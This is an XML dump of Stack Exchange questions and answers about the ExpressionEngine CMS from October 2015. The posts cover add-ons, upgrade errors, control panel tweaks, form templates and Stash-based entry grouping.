  <row Id="34293" PostTypeId="1" CreationDate="2015-10-05T06:17:57.393" Score="0" ViewCount="261" Body="&lt;p&gt;How to use angular js inside expression engine. Is there any article or tutorial is available for this. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2016-03-18T06:58:29.923" Title="How to use angular js inside expression engine" Tags="|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34294" PostTypeId="1" AcceptedAnswerId="34295" CreationDate="2015-10-05T11:45:53.823" Score="1" ViewCount="88" Body="&lt;p&gt;In the ee control panel I have a textarea(rich text) that I use for writing some news articles. These articles include some images in them and I continually have to write the HTML for inserting images. Is there a way to instead of having to write the HTML myself, adding I.E a button next to the &quot;link&quot; button to insert an image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to ee so an easy solution is preferred.&lt;/p&gt;&#xA;" OwnerUserId="6708" LastActivityDate="2015-10-05T12:03:12.067" Title="Images in rich text area" Tags="|ee2|image|richtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34295" PostTypeId="2" ParentId="34294" CreationDate="2015-10-05T12:03:12.067" Score="2" Body="&lt;p&gt;The easiest solution would be to use an addon custom field type that is better suited to your needs. This is the one I use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/wygwam&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gives you more of a WYSIWYG-style field input, and is much easier to work with for someone looking to avoid code for whatever reason. There is a few others like Wygwam, so I recommend poking around the devot-ee.com site. It's a major hub of ExpressionEngine addons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing addons is generally the same for most addons, but there is no official guide; the addon should come with instructions. But if you have trouble, comment on my answer and I'll write up some instructions.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-05T12:03:12.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34296" PostTypeId="2" ParentId="32193" CreationDate="2015-10-05T12:40:50.397" Score="0" Body="&lt;p&gt;Check you have different variables set under the cookie domain under cookie settings for each msm site...&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2015-10-05T12:40:50.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34297" PostTypeId="1" CreationDate="2015-10-05T14:09:36.780" Score="0" ViewCount="44" Body="&lt;p&gt;Is it possible to have the results include only fields with results in the admin and user emails?&#xA;I have a form that collects data for 3 different possible options. I want to get the data only for the option that was chosen, not all of the empty fields from the other 2 options.&lt;/p&gt;&#xA;" OwnerUserId="6568" LastActivityDate="2016-05-30T09:40:08.390" Title="Using DevDemon Forms, skip empty fields in result email" Tags="|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34298" PostTypeId="1" AcceptedAnswerId="34300" CreationDate="2015-10-05T16:31:33.980" Score="0" ViewCount="100" Body="&lt;p&gt;I have just sent this to the CT team but am open to as much advice as possible so thought id put it out here too. Is this type of Q even allowed on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; &#xA;I am just reading the docs trying to decide which route to go down for a online food delivery system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needs to integrate with a POS (Revel Systems). In the &lt;a href=&quot;https://www.cartthrob.com/docs/pages/cartthrob_order_manager/index.html#erp-integration&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; it says to contact CT as may be able to offer with information on integrating with POS's&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;If you would like to integrate CartThrob with a Warehouse system,&#xA;  Point of Sale system, ERP, or other post-order process, please contact&#xA;  us for a consultation and we can give you an overview of what is&#xA;  possible. Though every ERP system requires a unique integration, we&#xA;  have a set of scaffolding for creating ERP integrations that offers a&#xA;  push-pull API for sending and receiving data in a secure manner using&#xA;  ExpressionEngine's built in user authentication. Our scaffolding&#xA;  system offers you local integration using command line applications or&#xA;  via publicly accessible web services.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The API that Revel Systems (POS) uses is Django Tasty Pie (REST) (&lt;a href=&quot;https://django-tastypie.readthedocs.org/en/latest/&quot; rel=&quot;nofollow&quot;&gt;https://django-tastypie.readthedocs.org/en/latest/&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO, I will need to using a webservice to sync inventory, order history and mainly to push orders to their system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without going into too much detail could you answer the below Q's?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you know if the synchronisation will be possible with CT/webservice?&lt;/li&gt;&#xA;&lt;li&gt;They are accepting Cash on Delivery ONLY (Its a food delivery service), would I be able to push new website orders to their POS?&lt;/li&gt;&#xA;&lt;li&gt;What would be the best method to keep the inventory up-to-date on a regular basis whilst being linked to their POS?&lt;/li&gt;&#xA;&lt;li&gt;What format would CT need to receive the data to keep it synced? CSV/Webservice?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="541" LastEditorUserId="115" LastEditDate="2015-10-05T16:50:13.233" LastActivityDate="2015-10-05T17:23:27.307" Title="Cartthrob - Presales questions" Tags="|cartthrob|json|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34299" PostTypeId="2" ParentId="34289" CreationDate="2015-10-05T16:39:00.563" Score="0" Body="&lt;p&gt;Why not just publish once and share the same content/entries across your MSM sites? That way you don't need to mass duplicate everything.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-10-05T16:39:00.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34300" PostTypeId="2" ParentId="34298" CreationDate="2015-10-05T17:23:27.307" Score="1" Body="&lt;p&gt;This sounds pretty good that their POS (is it just a POS? Not an ERP too?) has a rest API. That means that in the grand scheme of things it should be a nice job to push and pull data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways to do things, but essentially, Cartthrob has hooks for most major events through the order process. You can simply fire off data to their API to inform them of orders/inventory etc and they can do something similar by posting info on inventory updates to EE which can be consumed easily enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be questions about inventory updates that could clash (someone has item in cart, you update inventory from the POS, item no longer exists online etc) but all in all, a very doable project with CT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best format would be json one assumes if you will be using web services to throw data around. I guess you could use a CSV, but, not sure you would want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2015-10-05T17:23:27.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34301" PostTypeId="1" CreationDate="2015-10-05T18:15:03.700" Score="0" ViewCount="25" Body="&lt;p&gt;So I made the upgrade to v2 and none of the v1 promo codes were migrated to the 'discounts' table. Inspecting the db, I can see them all still there in exp_store_promo_codes, but the exp_store_discounts table is empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should they have all migrated? If not, how can I repopulate the discounts table? The schema is different, with different field names, so it's not a simply 1-to-1 mapping.&lt;/p&gt;&#xA;" OwnerUserId="3792" LastActivityDate="2016-05-16T11:33:56.343" Title="How do I restore the deleted promo codes to discounts in Store v2?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34302" PostTypeId="2" ParentId="34301" CreationDate="2015-10-05T19:34:50.807" Score="0" Body="&lt;p&gt;I know nothing about Expresso Store, but I assume they &lt;em&gt;should&lt;/em&gt; have migrated that info as well. The first thing you can try is to revert to the old version (you made a complete DB and file backup, no?), and re-upgrade. If that isn't an option,&#xA;I would start by making a new promo, and look at the new &lt;code&gt;exp_store_discounts&lt;/code&gt; table. Take an example promo from the old table, and use that data to create the new discount. From their, you can probably map out what needs to be copied over and where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A real bungle here would probably be to forget to map &lt;strong&gt;Primary Keys&lt;/strong&gt; together. &#xA;Your PK from your old table needs to be the PK in the new table for there to be any chance of this working. Start by copying over one after you see how the new table is filled in, and then test migrating another row yourself, and see what you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that actually works for you, depending on the number of promos, I'd write a migration script to bang the job out. Hope that helps, but one last thing... did you contact the Expresso Store people?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you look at the (what I assumed is called) &lt;code&gt;upd.express_store.php&lt;/code&gt; file in the addon, you can find it's upgrade scripts. There, you can search/grep for that old and new table, and see if it was actually meant to migrate data over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry that wasn't an authoritative answer, but it should get you going, and &lt;strong&gt;reach out to  DevDemon&lt;/strong&gt;, makers of Expresso Store&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-05T19:34:50.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34303" PostTypeId="1" CreationDate="2015-10-05T22:25:51.077" Score="0" ViewCount="124" Body="&lt;p&gt;I am trying to update EE v2.4 to v2.10.1 and got a database error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Number: 1060&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate column name 'can_search'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALTER TABLE exp_member_groups ADD COLUMN can_search char(1) NOT NULL default 'n'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: updates/ud_0_00_09.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 112&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what to do. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2016-06-08T08:11:09.567" Title="Database Error on Update" Tags="|database-error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34304" PostTypeId="1" AcceptedAnswerId="34307" CreationDate="2015-10-05T22:41:17.517" Score="3" ViewCount="69" Body="&lt;p&gt;I've got clients who have a problem remembering to scroll down to the bottom of long entry screens to click the &quot;submit&quot; button on a regular entry screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking it would be good if I could either move the one on the bottom up to the top, or better yet, have a duplicate &quot;submit&quot; button at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2015-10-06T09:09:47.277" Title="Can I move the Submit button on the entry screen to the top of the window?" Tags="|control-panel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34305" PostTypeId="1" CreationDate="2015-10-05T23:18:54.150" Score="1" ViewCount="117" Body="&lt;p&gt;I have a simple question regarding the installation of multiple EE sites on a single cloud server: I have a basic LAMP stack (w/ Ubuntu 14.04) on my RackSpace server that runs several websites. The primary website is already running on EE, and I'm just wondering if I can install another instance of ExpressionEngine for a different site on the same server, without issue, assuming I create a separate MySQL database for the new site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insight here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2015-10-06T00:22:51.153" Title="Multiple ExpressionEngine sites/installs on cloud server" Tags="|multiple-sites|install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34306" PostTypeId="2" ParentId="34305" CreationDate="2015-10-06T00:22:51.153" Score="2" Body="&lt;p&gt;I have no idea! Kind of... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your RackSpace server functions essentially like a VPS or bare metal machine (just in the cloud), then you're all set! There are a couple way to go about it. I'll explain a couple of simple ways this works on a regular VPS or bare metal machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have your web root and an EE installation working on it. One way to go is &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/sites/&quot; rel=&quot;nofollow&quot;&gt;Multi Site Manager&lt;/a&gt;. This works well for multiple domains functioning from the same EE install. The instructions are relatively straight-forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep these installations &lt;strong&gt;completely&lt;/strong&gt; silo-ed, you can install a separate EE instance in a sub-folder of your web root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/my-web-root/second-ee-site/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just need to set up your VirtualHost (for Apache) settings for that new folder to match your new second-site domain, set your DNS entries for the new domain to point at your RackSpace server, and make sure you set your new EE install to have the right server paths (&lt;code&gt;/my-web-root/second-ee-site/&lt;/code&gt; instead of &lt;code&gt;/my-web-root/&lt;/code&gt;). I have a few EE sites that live in a sub-folder of my web-root, which is it's own EE site just like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If either of these methods applies to a RackSpace server... I don't know, since I don't have one. But again, if a RackSpace cloud server functions like a regular bare metal machine, just in the RackSpace cloud, you should be all set. I hope others chime in (or yourself) if I'm being particularly ignorant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And oh, yes, you need a separate DB schema for each install. Well, you don't &lt;strong&gt;need&lt;/strong&gt;, but trust me, you want.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-06T00:22:51.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34307" PostTypeId="2" ParentId="34304" CreationDate="2015-10-06T09:09:47.277" Score="3" Body="&lt;p&gt;You want an Extension rather than Accessory. There are already ones out there that will do the job, or you can tweak slightly. The one I use the most is &lt;a href=&quot;https://devot-ee.com/add-ons/publish-bar&quot; rel=&quot;nofollow&quot;&gt;Publish Bar&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;Control Panel CSS/JS&lt;/a&gt; - create your own by injecting JS/CSS on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/publish-tweeks&quot; rel=&quot;nofollow&quot;&gt;Publish Tweeks&lt;/a&gt; - might do it can't recall (been a while since I used it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/chilli-save-for-publisher&quot; rel=&quot;nofollow&quot;&gt;Chilli: Save for Publisher&lt;/a&gt; - Does the job if you're using Publisher add-on&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-10-06T09:09:47.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34308" PostTypeId="1" CreationDate="2015-10-06T11:59:51.350" Score="0" ViewCount="38" Body="&lt;p&gt;I might be missing it but.. is there a variable to output the total count of days the entry spans across, from start to finish?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-20T01:05:50.673" Title="Low Events total days count" Tags="|low|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34309" PostTypeId="2" ParentId="34308" CreationDate="2015-10-06T13:35:01.127" Score="0" Body="&lt;p&gt;There is the &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/fieldtype#duration&quot; rel=&quot;nofollow&quot;&gt;:duration&lt;/a&gt; modifier, but there is no modifier to output the number of days as an integer.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-06T13:35:01.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34310" PostTypeId="1" CreationDate="2015-10-06T18:23:23.793" Score="0" ViewCount="88" Body="&lt;p&gt;I'm trying to make the Control Panel as stripped down as possible for clients who get confused easily. Is there a way to completely remove the breadcrumbs from the Control Panel? I see various add-ons to manage breadcrumbs, but I don't see a way to completely remove them. I'm using Zoo Admin for my custom menu, but one of my clients gets confused when they see the breadcrumbs below the menu.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2016-06-17T21:41:22.497" Title="Is there a way to completely remove the breadcrumbs in the Control Panel?" Tags="|control-panel|zoo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34311" PostTypeId="2" ParentId="34310" CreationDate="2015-10-06T18:54:34.710" Score="0" Body="&lt;p&gt;Well, there's a few ways to go about it. First, the easier way, is to see if you can find a Control Panel theme that better matches what you're looking to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/search/results?keywords=theme&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/search/results?keywords=theme&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search around, perhaps there's already a nice simple theme that will work for you. If not, the better answer is to create you're own theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/cp_styles/#customizing-the-control-panel-theme&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/cp_styles/#customizing-the-control-panel-theme&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, the less than smart answer; just hide the control by editing a core &lt;code&gt;_shared&lt;/code&gt; file. You want to edit this file &lt;code&gt;system/expressionengine/views/_shared/breadcrumps.php&lt;/code&gt; and go ahead and add this HTML attribute to the div with &lt;code&gt;id=&quot;breadCrumb&quot;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style=&quot;visibility: hidden;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-06T18:54:34.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34312" PostTypeId="2" ParentId="34303" CreationDate="2015-10-06T19:16:35.297" Score="0" Body="&lt;p&gt;Refresh the browser to continue the upgrade. If that doesn't help contact EllisLab support.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-10-06T19:16:35.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34313" PostTypeId="2" ParentId="34297" CreationDate="2015-10-06T19:27:31.177" Score="0" Body="&lt;p&gt;Yes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a template with the fields manually. Say you have a field called phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if field:phone}Phone: {field:phone}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-10-06T19:27:31.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34314" PostTypeId="2" ParentId="19967" CreationDate="2015-10-06T22:05:47.483" Score="0" Body="&lt;p&gt;Here is a working exampled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;                form_name=&quot;contact&quot;&#xA;                form:class=&quot;mwi-form&quot;&#xA;                recipients=&quot;yes&quot;&#xA;                recipient_user_input=&quot;yes&quot;  &#xA;                recipient_user_template=&quot;notify_contact&quot; &#xA;                return=&quot;contact/thank-you&quot;&#xA;            }&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;label class=&quot;col1&quot;&amp;gt;&#xA;                        First &amp;amp; Last Name&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; value=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;label class=&quot;col1&quot;&amp;gt;&#xA;                        Phone Number&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; value=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;label class=&quot;col1&quot;&amp;gt;&#xA;                        Your Email Address&#xA;                        &amp;lt;input type=&quot;text&quot; class=&quot;require&quot; name=&quot;email&quot; value=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;label class=&quot;col1&quot;&amp;gt;&#xA;                        Battery Outfitters Location&#xA;                        &amp;lt;select name=&quot;recipient_email_user&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;PShumaker@batteryoutfitters.com&quot;&amp;gt;Select Location&amp;lt;/option&amp;gt;&#xA;                        {exp:channel:entries channel=&quot;location&quot; dynamic=&quot;no&quot;}   &#xA;                            &amp;lt;option value=&quot;{location_email}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                        {/exp:channel:entries}                  &#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;label class=&quot;col1&quot;&amp;gt;&#xA;                        Message&#xA;                        &amp;lt;textarea name=&quot;user_message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;button class=&quot;btn blue&quot; type=&quot;submit&quot;&amp;gt;SUBMIT&amp;lt;/button&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;spamfreeform_name&quot; value=&quot;first_name&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;spamfreeform_email&quot; value=&quot;email&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;spamfreeform_fields&quot; value=&quot;user_message&quot; /&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure the value of the options in the recipient_email_user select are pipe separated email@domain.com|email@domain.com|etc...&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2015-10-06T22:05:47.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34315" PostTypeId="1" AcceptedAnswerId="34321" CreationDate="2015-10-06T23:06:12.390" Score="0" ViewCount="131" Body="&lt;p&gt;I have a &lt;code&gt;Products&lt;/code&gt; channel and an &lt;code&gt;Images&lt;/code&gt; channel. The &lt;code&gt;Images&lt;/code&gt; has a relationship field to &lt;code&gt;Products&lt;/code&gt; (basically: a product can have 0 or more images).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since most of my products do not have images, I'd like to showcase the products with images over the products without images. Meaning, I'd like to create a page that lists only the products that do have images, random order, and allow users to paginate through them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In Low Search, is there a way to get a list of products that have images?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Products without images will still be viewable by doing a full text search or getting a list of entries based on the EE category they are associated with. &lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-10-07T10:16:34.030" Title="Low Search: find channel entries with relationships to it?" Tags="|channel-entries|search|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34316" PostTypeId="1" CreationDate="2015-10-06T23:29:52.940" Score="1" ViewCount="72" Body="&lt;p&gt;I have a channel (products) where each entry has only one category.  Each entry also has a custom field (year) which stores a year value (e.g. 2015).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output I currently have looks like this (note the non-grouped categories):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2015&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product A&lt;/li&gt;&#xA;&lt;li&gt;Product B&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category 2&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product C&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category 3&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product D&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category 2&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Product E&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;2014&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 2&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product F&#xA;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to output the entries so they're grouped first by year then by the category.  E.g:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2015&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product A&lt;/li&gt;&#xA;&lt;li&gt;Product B&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category 2&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product C&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Product E&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;2014&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 2&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product F&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've managed to achieve most of this using Stash and IfElse to get the output structured by year then the entries themselves but I'm struggling on how to get the entries grouped by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data&quot; status=&quot;open|featured&quot; orderby=&quot;launched&quot;}&#xA;    {exp:stash:append name=&quot;products_{launched}&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{categories}{category_name}{/categories}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;a href=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:append} &#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:set_list name=&quot;the_products&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries channel=&quot;products&quot; status=&quot;open|featured&quot; orderby=&quot;launched&quot;}&#xA;    {stash:item_title}{title}{/stash:item_title}&#xA;    {stash:item_launched}{launched}{/stash:item_launched}&#xA;    {stash:item_category}{categories}{category_name}{/category}{/stash:item_category}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set_value name=&quot;prev_year&quot; value=&quot;0&quot; parse=&quot;inward&quot;}&#xA;&#xA;{exp:stash:get_list name=&quot;the_products&quot; unique=&quot;item_launched&quot; match=&quot;#.*\S.*#&quot; against=&quot;item_launched&quot;}&#xA;    {exp:stash:set_value name=&quot;launched_year&quot; value=&quot;{launched}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {exp:ifelse parse=&quot;outward&quot;}&#xA;        {if {exp:stash:not_empty name=&quot;launched_year&quot;}} &#xA;            {exp:stash:set_value name=&quot;launched_year&quot; value=&quot;{item_launched}&quot;}&#xA;            {if &quot;{exp:stash:launched_year}&quot; == &quot;{exp:stash:prev_year}&quot;}&#xA;&#xA;                {exp:stash:set_value name=&quot;prev_year&quot; value=&quot;{item_launched}&quot;}&#xA;&#xA;            {if:else}&#xA;&#xA;                &amp;lt;h2&amp;gt;{exp:stash:launched_year}&amp;lt;/h2&amp;gt;&#xA;&#xA;                {exp:stash:get name=&quot;products_{item_launched}&quot;}&#xA;&#xA;            {/if}&#xA;        {/if}&#xA;    {/exp:ifelse}    &#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I on the right track with this please?&lt;/p&gt;&#xA;" OwnerUserId="2897" LastActivityDate="2015-10-06T23:29:52.940" Title="List entries grouped by field value and category" Tags="|stash|ifelse|grouping|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
